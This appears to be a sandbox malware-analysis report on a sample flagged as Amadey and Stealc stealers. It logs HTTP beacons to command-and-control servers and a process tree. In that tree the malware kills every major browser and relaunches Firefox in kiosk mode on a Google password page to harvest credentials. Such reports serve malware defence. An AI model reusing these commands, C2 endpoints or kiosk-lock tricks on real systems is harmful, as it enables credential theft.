Dec 12, 2024 21:51:08.450192928 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 12, 2024 21:51:09.548216105 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 12 Dec 2024 10:09:25 GMT Age: 38504 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 12, 2024 21:51:09.646255970 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 12, 2024 21:51:09.961586952 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 12 Dec 2024 10:09:25 GMT Age: 38504 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	50047	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:51:09.159956932 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014524001&unit=246122658369
Dec 12, 2024 21:51:10.478323936 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:51:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	50053	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:51:09.853728056 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	50054	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:51:10.088027000 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 12, 2024 21:51:11.177194118 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 12 Dec 2024 10:08:28 GMT Age: 38563 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	50055	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:51:10.115055084 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 12, 2024 21:51:11.202392101 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 12 Dec 2024 11:17:42 GMT Age: 34409 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	50068	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:51:12.298160076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 12, 2024 21:51:13.690431118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:51:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	50073	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:51:16.914669991 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 21:51:18.256499052 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:51:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 12, 2024 21:51:18.258526087 CET	410	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBF Host: 185.215.113.206 Content-Length: 208 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 34 39 41 31 34 46 30 34 30 46 46 39 36 34 35 32 30 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="hwid"E49A14F040FF9645207------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="build"stok------IIJEBAECGCBKECAAAEBF--
Dec 12, 2024 21:51:18.709197044 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:51:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	15:49:00
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x390000
File size:	3'195'392 bytes
MD5 hash:	4873DEC39296C80C3863E04149E492BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:49:06
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x5f0000
File size:	3'195'392 bytes
MD5 hash:	4873DEC39296C80C3863E04149E492BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:49:07
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5f0000
File size:	3'195'392 bytes
MD5 hash:	4873DEC39296C80C3863E04149E492BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:50:00
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5f0000
File size:	3'195'392 bytes
MD5 hash:	4873DEC39296C80C3863E04149E492BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	15:50:13
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014518001\cfeb78330e.exe"
Imagebase:	0x400000
File size:	1'961'472 bytes
MD5 hash:	B8501B9AD61E6247049C8C36BF6EAF57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	15:50:20
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe"
Imagebase:	0x580000
File size:	966'656 bytes
MD5 hash:	89F43935DD16AF2945DA61DB6C46A02D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:50:22
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:50:22
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:50:25
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x7ff7934f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:50:25
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:50:25
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:50:25
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:50:25
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:50:25
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:50:25
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:50:26
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:50:27
Start date:	12/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:50:27
Start date:	12/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:50:27
Start date:	12/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:50:28
Start date:	12/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2292 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77351dd8-8927-4914-94fc-1a87a0368b0e} 800 "\\.\pipe\gecko-crash-server-pipe.800" 1f33906f910 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:50:29
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe"
Imagebase:	0xb90000
File size:	1'804'800 bytes
MD5 hash:	36CE95040ED17E3C4CCF84EF67666738
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.3040296084.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3106684027.0000000000B91000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3141461580.000000000192E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	15:50:31
Start date:	12/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2916 -parentBuildID 20230927232528 -prefsHandle 4084 -prefMapHandle 2892 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {56b04377-1d30-41f5-a844-cf83270b3c57} 800 "\\.\pipe\gecko-crash-server-pipe.800" 1f34b606a10 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:50:34
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe"
Imagebase:	0x580000
File size:	966'656 bytes
MD5 hash:	89F43935DD16AF2945DA61DB6C46A02D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	15:50:39
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe"
Imagebase:	0xab0000
File size:	2'757'120 bytes
MD5 hash:	39D7CC067A59D8F1770A51C3BBEF5B32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	15:50:43
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe"
Imagebase:	0xb90000
File size:	1'804'800 bytes
MD5 hash:	36CE95040ED17E3C4CCF84EF67666738
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3313204414.0000000000B91000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3304839857.0000000000A1B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000003.3203387497.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:50:48
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	15:50:48
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	15:50:52
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014522001\01ea17bf64.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	15:50:52
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014521001\93ee6c8e33.exe"
Imagebase:	0xab0000
File size:	2'757'120 bytes
MD5 hash:	39D7CC067A59D8F1770A51C3BBEF5B32
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	15:50:52
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	15:50:53
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	15:50:57
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	15:50:57
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	15:50:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xce0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	15:50:58
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	15:50:59
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1014523001\8b42a83bd5.exe"
Imagebase:	0x330000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	15:50:59
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	15:51:00
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7734e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
